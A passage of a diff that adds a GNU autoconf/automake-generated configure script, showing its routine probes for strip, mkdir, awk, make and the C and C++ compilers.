ac_cv_prog_STRIP="${ac_tool_prefix}strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 +printf "%s\n" "$STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_STRIP+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 +printf "%s\n" "$ac_ct_STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + +fi +INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a race-free mkdir -p" >&5 +printf %s "checking for a race-free mkdir -p... " >&6; } +if test -z "$MKDIR_P"; then + if test ${ac_cv_path_mkdir+y} +then : + printf %s "(cached) " >&6 +else $as_nop + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in mkdir gmkdir; do + for ac_exec_ext in '' $ac_executable_extensions; do + as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext" || continue + case `"$as_dir$ac_prog$ac_exec_ext" --version 2>&1` in #( + 'mkdir ('*'coreutils) '* | \ + 'BusyBox '* | \ + 'mkdir (fileutils) '4.1*) + ac_cv_path_mkdir=$as_dir$ac_prog$ac_exec_ext + break 3;; + esac + done + done + done +IFS=$as_save_IFS + +fi + + test -d ./--version && rmdir ./--version + if test ${ac_cv_path_mkdir+y}; then + MKDIR_P="$ac_cv_path_mkdir -p" + else + # As a last resort, use the slow shell script. Don't cache a + # value for MKDIR_P within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + MKDIR_P="$ac_install_sh -d" + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 +printf "%s\n" "$MKDIR_P" >&6; } + +for ac_prog in gawk mawk nawk awk +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_AWK+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$AWK"; then + ac_cv_prog_AWK="$AWK" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_AWK="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +AWK=$ac_cv_prog_AWK +if test -n "$AWK"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 +printf "%s\n" "$AWK" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$AWK" && break +done + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +printf %s "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } +set x ${MAKE-make} +ac_make=`printf "%s\n" "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` +if eval test \${ac_cv_prog_make_${ac_make}_set+y} +then : + printf %s "(cached) " >&6 +else $as_nop + cat >conftest.make <<\_ACEOF +SHELL = /bin/sh +all: + @echo '@@@%%%=$(MAKE)=@@@%%%' +_ACEOF +# GNU make sometimes prints "make[1]: Entering ...", which would confuse us. +case `${MAKE-make} -f conftest.make 2>/dev/null` in + *@@@%%%=?*=@@@%%%*) + eval ac_cv_prog_make_${ac_make}_set=yes;; + *) + eval ac_cv_prog_make_${ac_make}_set=no;; +esac +rm -f conftest.make +fi +if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + SET_MAKE= +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + SET_MAKE="MAKE=${MAKE-make}" +fi + +rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null + +# Check whether --enable-silent-rules was given. +if test ${enable_silent_rules+y} +then : + enableval=$enable_silent_rules; +fi + +case $enable_silent_rules in # ((( + yes) AM_DEFAULT_VERBOSITY=0;; + no) AM_DEFAULT_VERBOSITY=1;; + *) AM_DEFAULT_VERBOSITY=1;; +esac +am_make=${MAKE-make} +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $am_make supports nested variables" >&5 +printf %s "checking whether $am_make supports nested variables... " >&6; } +if test ${am_cv_make_support_nested_variables+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if printf "%s\n" 'TRUE=$(BAR$(V)) +BAR0=false +BAR1=true +V=1 +am__doit: + @$(TRUE) +.PHONY: am__doit' | $am_make -f - >/dev/null 2>&1; then + am_cv_make_support_nested_variables=yes +else + am_cv_make_support_nested_variables=no +fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_make_support_nested_variables" >&5 +printf "%s\n" "$am_cv_make_support_nested_variables" >&6; } +if test $am_cv_make_support_nested_variables = yes; then + AM_V='$(V)' + AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' +else + AM_V=$AM_DEFAULT_VERBOSITY + AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY +fi +AM_BACKSLASH='\' + +if test "`cd $srcdir && pwd`" != "`pwd`"; then + # Use -I$(srcdir) only when $(srcdir) != ., so that make's output + # is not polluted with repeated "-I." + am__isrc=' -I$(srcdir)' + # test to see if srcdir already configured + if test -f $srcdir/config.status; then + as_fn_error $? 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For more background, see: +# +# +mkdir_p='$(MKDIR_P)' + +# We need awk for the "check" target (and possibly the TAP driver). The +# system "awk" is bad on some platforms. +# Always define AMTAR for backward compatibility. Yes, it's still used +# in the wild :-( We should find a proper way to deprecate it ... +AMTAR='$${TAR-tar}' + + +# We'll loop over all known methods to create a tar archive until one works. +_am_tools='gnutar pax cpio none' + +am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' + + + + + +# Variables for tags utilities; see am/tags.am +if test -z "$CTAGS"; then + CTAGS=ctags +fi + +if test -z "$ETAGS"; then + ETAGS=etags +fi + +if test -z "$CSCOPE"; then + CSCOPE=cscope +fi + + + +# POSIX will say in a future version that running "rm -f" with no argument +# is OK; and we want to be able to make that assumption in our Makefile +# recipes. So use an aggressive probe to check that the usage we want is +# actually supported "in the wild" to an acceptable degree. +# See automake bug#10828. +# To make any issue more visible, cause the running configure to be aborted +# by default if the 'rm' program in use doesn't match our expectations; the +# user can still override this though. +if rm -f && rm -fr && rm -rf; then : OK; else + cat >&2 <<'END' +Oops! + +Your 'rm' program seems unable to run without file operands specified +on the command line, even when the '-f' option is present. This is contrary +to the behaviour of most rm programs out there, and not conforming with +the upcoming POSIX standard: + +Please tell bug-automake@gnu.org about your system, including the value +of your $PATH and any error possibly output before this message. This +can help us improve future automake versions. + +END + if test x"$ACCEPT_INFERIOR_RM_PROGRAM" = x"yes"; then + echo 'Configuration will proceed anyway, since you have set the' >&2 + echo 'ACCEPT_INFERIOR_RM_PROGRAM variable to "yes"' >&2 + echo >&2 + else + cat >&2 <<'END' +Aborting the configuration process, to ensure you take notice of the issue. + +You can download and install GNU coreutils to get an 'rm' implementation +that behaves properly: . + +If you want to complete the configuration process using your problematic +'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM +to "yes", and re-run configure. + +END + as_fn_error $? "Your 'rm' program is bad, sorry." "$LINENO" 5 + fi +fi + + +# Checks for programs. + + + + + + +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +if test -z "$CXX"; then + if test -n "$CCC"; then + CXX=$CCC + else + if test -n "$ac_tool_prefix"; then + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC clang++ + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CXX+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CXX"; then + ac_cv_prog_CXX="$CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CXX=$ac_cv_prog_CXX +if test -n "$CXX"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CXX" >&5 +printf "%s\n" "$CXX" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$CXX" && break + done +fi +if test -z "$CXX"; then + ac_ct_CXX=$CXX + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC clang++ +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CXX+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$ac_ct_CXX"; then + ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CXX="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CXX=$ac_cv_prog_ac_ct_CXX +if test -n "$ac_ct_CXX"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CXX" >&5 +printf "%s\n" "$ac_ct_CXX" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$ac_ct_CXX" && break +done + + if test "x$ac_ct_CXX" = x; then + CXX="g++" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CXX=$ac_ct_CXX + fi +fi + + fi +fi +# Provide some information about the compiler. +printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C++ compiler version" >&5 +set X $ac_compile +ac_compiler=$2 +for ac_option in --version -v -V -qversion; do + { { ac_try="$ac_compiler $ac_option >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compiler $ac_option >&5") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + sed '10a\ +... rest of stderr output deleted ... + 10q' conftest.err >conftest.er1 + cat conftest.er1 >&5 + fi + rm -f conftest.er1 conftest.err + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +done + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5 +printf %s "checking whether the C++ compiler works... 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We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test ${ac_cv_exeext+y} && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else $as_nop + ac_file='' +fi +if test -z "$ac_file" +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error 77 "C++ compiler cannot create executables +See \`config.log' for more details" "$LINENO" 5; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5 +printf %s "checking for C++ compiler default output file name... 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For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else $as_nop + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details" "$LINENO" 5; } +fi +rm -f conftest conftest$ac_cv_exeext +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 +printf "%s\n" "$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +FILE *f = fopen ("conftest.out", "w"); + return ferror (f) || fclose (f) != 0; + + ; + return 0; +} +_ACEOF +ac_clean_files="$ac_clean_files conftest.out" +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 +printf %s "checking whether we are cross compiling... " >&6; } +if test "$cross_compiling" != yes; then + { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if { ac_try='./conftest$ac_cv_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error 77 "cannot run C++ compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details" "$LINENO" 5; } + fi + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 +printf "%s\n" "$cross_compiling" >&6; } + +rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out +ac_clean_files=$ac_clean_files_save +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 +printf %s "checking for suffix of object files... " >&6; } +if test ${ac_cv_objext+y} +then : + printf %s "(cached) " >&6 +else $as_nop + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +then : + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else $as_nop + printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? 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" >&6; } +if test ${ac_cv_cxx_compiler_gnu+y} +then : + printf %s "(cached) " >&6 +else $as_nop + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +if ac_fn_cxx_try_compile "$LINENO" +then : + ac_compiler_gnu=yes +else $as_nop + ac_compiler_gnu=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +ac_cv_cxx_compiler_gnu=$ac_compiler_gnu + +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_cxx_compiler_gnu" >&5 +printf "%s\n" "$ac_cv_cxx_compiler_gnu" >&6; } +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + +if test $ac_compiler_gnu = yes; then + GXX=yes +else + GXX= +fi +ac_test_CXXFLAGS=${CXXFLAGS+y} +ac_save_CXXFLAGS=$CXXFLAGS +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CXX accepts -g" >&5 +printf %s "checking whether $CXX accepts -g... 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" >&6; } +if test ${ac_cv_prog_cxx_cxx11+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_cv_prog_cxx_cxx11=no +ac_save_CXX=$CXX +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_cxx_conftest_cxx11_program +_ACEOF +for ac_arg in '' -std=gnu++11 -std=gnu++0x -std=c++11 -std=c++0x -qlanglvl=extended0x -AA +do + CXX="$ac_save_CXX $ac_arg" + if ac_fn_cxx_try_compile "$LINENO" +then : + ac_cv_prog_cxx_cxx11=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cxx_cxx11" != "xno" && break +done +rm -f conftest.$ac_ext +CXX=$ac_save_CXX +fi + +if test "x$ac_cv_prog_cxx_cxx11" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else $as_nop + if test "x$ac_cv_prog_cxx_cxx11" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx11" >&5 +printf "%s\n" "$ac_cv_prog_cxx_cxx11" >&6; } + CXX="$CXX $ac_cv_prog_cxx_cxx11" +fi + ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx11 + ac_prog_cxx_stdcxx=cxx11 +fi +fi +if test x$ac_prog_cxx_stdcxx = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CXX option to enable C++98 features" >&5 +printf %s "checking for $CXX option to enable C++98 features... " >&6; } +if test ${ac_cv_prog_cxx_cxx98+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_cv_prog_cxx_cxx98=no +ac_save_CXX=$CXX +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_cxx_conftest_cxx98_program +_ACEOF +for ac_arg in '' -std=gnu++98 -std=c++98 -qlanglvl=extended -AA +do + CXX="$ac_save_CXX $ac_arg" + if ac_fn_cxx_try_compile "$LINENO" +then : + ac_cv_prog_cxx_cxx98=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cxx_cxx98" != "xno" && break +done +rm -f conftest.$ac_ext +CXX=$ac_save_CXX +fi + +if test "x$ac_cv_prog_cxx_cxx98" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else $as_nop + if test "x$ac_cv_prog_cxx_cxx98" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx98" >&5 +printf "%s\n" "$ac_cv_prog_cxx_cxx98" >&6; } + CXX="$CXX $ac_cv_prog_cxx_cxx98" +fi + ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx98 + ac_prog_cxx_stdcxx=cxx98 +fi +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +DEPDIR="${am__leading_dot}deps" + +ac_config_commands="$ac_config_commands depfiles" + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} supports the include directive" >&5 +printf %s "checking whether ${MAKE-make} supports the include directive... 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So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CXX_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CXX_dependencies_compiler_type=none +fi + +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CXX_dependencies_compiler_type" >&5 +printf "%s\n" "$am_cv_CXX_dependencies_compiler_type" >&6; } +CXXDEPMODE=depmode=$am_cv_CXX_dependencies_compiler_type + + if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CXX_dependencies_compiler_type" = gcc3; then + am__fastdepCXX_TRUE= + am__fastdepCXX_FALSE='#' +else + am__fastdepCXX_TRUE='#' + am__fastdepCXX_FALSE= +fi + + + + + + + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for 